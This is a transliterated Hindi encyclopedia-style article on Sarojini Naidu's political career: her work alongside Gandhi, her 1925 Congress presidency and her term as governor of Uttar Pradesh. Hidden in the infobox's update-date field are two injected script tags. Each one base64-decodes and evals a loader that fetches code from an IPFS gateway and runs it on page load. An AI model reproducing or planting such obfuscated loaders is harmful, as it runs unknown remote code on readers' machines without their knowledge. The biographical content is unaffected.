सरोजिनी नायडू का राजनीतिक जीवन
sarojini nayadoo ka rajanitik jivan
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| poora nam | sarojini nayadoo |
| any nam | bharat kokila |
| janm | 13 faravari, 1879 |
| janm bhoomi | haidarabad, aandhr pradesh |
| mrityu | 2 march, 1949 |
| mrityu sthan | ilahabad, uttar pradesh |
| abhibhavak | aghoranath chattopadhyay evan varada sundari |
| pati/patni | d aau. em. goviandarajalu nayadoo |
| santan | jayasoory, padmaja nayadoo, ranadhir aur lilamani |
| nagarikata | bharatiy |
| prasiddhi | rashtriy neta, kaangres adhyaksh |
| parti | kaangres |
| pad | pratham rajyapal (uttar pradesh) |
| vidyalay | madras vishvavidyalay, kiangz k aaulej landan, gartan k aaulej, kaimbrij |
| bhasha | aangrezi, hindi, bangala aur gujarati |
| puraskar-upadhi | kesar-e-hind |
| vishesh yogadan | nari-mukti ki samarthak |
| rachanaean | d goldan threshahold, bard aph taim, brokan viang |
| any janakari | lagabhag 13 varsh ki ayu mean sarojini ne 1300 padoan ki 'jhil ki rani' namak lanbi kavita aur lagabhag 2000 panktiyoan ka ek vistrit natak likhakar aangrezi bhasha par apana adhikar siddh kar diya. |
| adyatan | 16:45, 24 sitambar 2017 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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sarojini nayadoo desh ki rajaniti mean qadam rakhane se pahale dakshin afrika mean gaandhi ji ke sath kam kar chuki thi. gaandhi ji vahaan ki jatiy sarakar ke viruddh sangharsh kar rahe the aur sarojini nayadoo ne svayansevak ke roop mean unhean sahayog diya tha. bharat lautane ke bad turant hi vah rashtriy aandolan mean sammilit ho gee. shuroo se hi vah gaandhi ji aur bharatiy rashtriy kaangres ke prati vafadar rahian. unhoanne vidyarthi aur yuvaoan ki sabhaoan mean bhashan die. anek shaharoan aur gaanvoan mean mahilaoan aur am sabhaoan ko sambodhit kiya. sarojini nayadoo ka svasthy kabhi achchha nahian raha. lekin unaka manobal dridh tha. yuvavastha mean nahian, balki b di umr hone par bhi vah josh aur utsah ke sath kam karati rahian. yah dekhakar sab vismit rah jate the. unake sathiyoan aur prashansakoan ko hairani hoti thi ki itani ajey shakti unhoanne kahaan se paee hai.
gaandhi ji ka sannidhy
sarojini nayadoo ki rajanitik yatra lagabhag chaubis varsh ki ayu mean praranbh hoti hai. bharat ke svatantrata sangram se pahale hi 'mahila svashaktikaran andolan' shuroo ho gaya tha. is samay sarojini nayadoo hath mean svatantrata sangram ka jhanda uthakar desh ke lie mar mitane nikal p di thian aur doosari taraph kaangres parti ki pramukh ban mahila sashaktikaran ko bal diya. [[chitr:Sarojini-Naidu-With-Mahatma-Gandhi.jpg|left|thumb|220px|sarojini nayadoo aur mahatma gaandhi]] 1902 mean kolakata (kalakatta) mean unhoanne bahut hi ojasvi bhashan diya jisase gopalkrishna gokhale bahut prabhavit hue aur unhoanne sarojini ji ka rajaniti mean age badhane ke lie margadarshan kiya. is ghatana ke bad sarojini ji ko mahatma gaandhi ka sannidhy mila. gaandhi ji se unaki mulakat kee varshoan ke bad sanh 1914 mean landan mean huee. gaandhi ji ke sath rahakar sarojini ki rajanitik sakriyata badhati gayi. vah gaandhi ji se bahut prabhavit thian. unaki sakriyata ke karan desh ki asankhy mahilaoan mean atmavishvas laut aya aur unhoanne bhi svadhinata aandolan ke sath sath samaj ke any kshetroan mean bhi sakriyata se bhag lena prarambh kar diya. gaandhi ji se pahali bar milane ke bad sarojini nayadoo ka zyadatar vaqt rajanitik karyoan mean hi bitane laga. samay bitane ke sath, vah kaangres ki pravakta ban gee. aandhi ki tarah vah desh bhar mean ghoomatian aur svadhinata ka sandesh phailatian. jahaan bhi aur jis vaqt bhi unaki zaroorat p di, vah phauran hi hazir ho jatian. rashtriy kaangres ki bahut si samitiyoan mean unhoanne kam kiya aur desh ki rajanitik azadi ke bare mean bolane ka ek bhi avasar unhoanne hath se jane nahian diya. aise hi josh ke sath unhoanne hindoo-muslim ekata par bhi zor diya. shiksha ke prachar ko bhi mahattv diya. apane shrotaoan se unhoanne ajnanata aur andhavishvas ko divaroan se nikal ane ka anurodh kiya. desh ko age le jane ke bajay pichhe khianchane vali paramparaoan, riti-rivajoan ke bojh ko utar pheankane ki unhoanne zoradar apil ki.
kaangres adhyaksh
kuchh hi samay mean sarojini nayadoo ek rashtriy neta ban geean. vah 'bharatiy rashtriy kaangres' ke pratishthit netaoan mean se ek mani jane lagian. sanh 1925 mean vah bharatiy rashtriy kaangres ke kanapur adhiveshan ki adhyaksh chuni geean. tab tak vah gaandhi ji ke sath das varsh tak kam kar chuki thian aur gahara rajanitik anubhav pa chuki thian. azadi ke poorv, bharat mean kaangres ka adhyaksh hona bahut b da rashtriy samman tha aur vah jab ek mahila ko diya gaya to usaka mahattv aur bhi badh gaya. gaandhi ji ne sarojini nayadoo ka kaangres pramukh ke roop mean b de hi utsah bhare shabdoan mean svagat kiya, 'pahali bar ek bharatiy mahila ko desh ki yah sabase b di saugat pane ka samman milega. apane adhikar ke karan hi yah samman unhean prapt hoga.'
sarojini ne svayan apane bare mean kaha-
'apane vishisht sevakoan mean mujhe mukhy sthan ke lie chunakar ap logoan ne koee nee misal nahian rakhi hai. ap to keval purani parampara ki or hi laute haian aur bharatiy nari ko phir se usake us puratan sthan mean la kh da kiya hai jahaan vah kabhi thi......'
apane adhyakshiy bhashan mean sarojini nayadoo ne bharat ke samajik, arthik audyogik aur bauddhik vikas ki avashyakata ki bat ki. prabhavashali shabdoan mean unhoanne bharat ki janata ko apane desh ki svadhinata ke lie himmat aur ekata ke sath age badhane ka ahvan kiya. apane bhashan ke aant mean unhoanne kaha, 'svadhinata sangram mean bhay ek akshamy vishvasaghat hai aur nirasha ek akshamy pap hai.' [[chitr:Sarojini-Naidu-Gandhi-Malaviya.jpg|thumb|250px|sarojini nayadoo, mahatma gaandhi aur pandit madanamohan malaviy]] unaka yah bhi manana tha ki bharatiy nari kabhi bhi kripa ki patr nahian thi, vah sadaiv se samanata ki adhikari rahi hai. unhoanne apane in vicharoan ke sath mahilaoan mean atmavishvas jagrat karane ka kam kiya. pitrisatta ke samarthakoan ko bhi nariyoan ke prati apana nazariya badalane ke liye protsahit kiya. bharat ke itihas mean ve bharatiy svadhinata aandolan ki pramukh nayika ke roop mean janian gayian. bhay ko vah deshadroh ke saman hi manati thian.
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sarojini nayadoo 'nari mukti aandolan' ko bharat ke svadhinata sangram ka ek hissa hi samajhati thian. vah apane shabdoan ki poorn shakti ke sath purush aur striyoan, donoan ke bich jakar nari shiksha ki avashyakataoan par zor deti thian.
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- 1925 ke kanapur kaangres adhiveshan mean sarojini nayadoo ne adhiveshan ki adhyakshata ki.
- 'golamej kaanphreans' mean mahatma gaandhi ke pratinidhi mandal mean sarojini nayadoo bhi sammilit thian.
- r aaulet ekt ka virodh karane ke lie sarojini nayadoo ne mahilaoan ko sangathit kiya.
- jab 1932 mean mahatma gaandhi jel gaye the, us samay aandolan ko raphtar dene aur badhane ka dayitv sarojini nayadoo ko sauanp kar gaye the. gaandhi ji ne kaha tha- 'tumhare hathoan mean bharat ki ekata ka kam sauanpata hooan.' bharat ka paksh rakhane ke lie mahatma gaandhi ne unhean amerika bheja tha.
- sarojini nayadoo ne mahilaoan ka netritv karate samay nari samaj ki unnati ke athak prayas kiye.
- bharat ke svatantr hone par unhean uttar pradesh ka rajyapal niyukt kiya gaya.
rajyapal
svadhinata ki prapti ke bad, desh ko us lakshy tak pahuanchane vale netaoan ke samane ab doosara hi kary tha. aj tak unhoanne sangharsh kiya tha. kintu ab rashtr nirman ka uttaradayitv unake kandhoan par a gaya. kuchh netaoan ko sarakari tantr aur prashasan mean naukari de di gee thi. unamean sarojini nayadoo bhi ek thian. unhean uttar pradesh ka rajyapal niyukt kar diya gaya. vah vistar aur janasankhya ki drishti se desh ka sabase b da praant tha. us pad ko svikar karate hue unhoanne kaha, 'maian apane ko 'qaid kar diye gaye jangal ke pakshi' ki tarah anubhav kar rahi hooan.' lekin vah pradhanamantri javaharalal neharoo ki ichchha ko tal n sakian jinake prati unake man mean gahan prem v sneh tha. isalie vah lakhanoo mean jakar bas geean aur vahaan saujany aur gauravapoorn vyavahar ke dvara apane rajanitik kartavyoan ko nibhaya. 30 janavari sanh 1948 ko gaandhi ji ki hatya ke bad desh bhar mean udasi chha gee. shokatur pradhanamantri ne gaandhi ji ko shrriddhaanjali dete hue kaha ki 'hamare bich se ek roshani bujh gee hai.' sarojini nayadoo ne kaha, 'yahi unake lie ek mahanh mrityu thi.....vyaktigat du:kh manane ka samay ab bit chuka hai. ab samay a gaya hai ki hamean sina tanakar yah kahana haiah 'mahatma gaandhi ka virodh karane valoan ki chunauti ham svikar kareange.'
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tika-tippani aur sandarbh
sanbandhit lekh
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varnamala kramanusar lekh khoj
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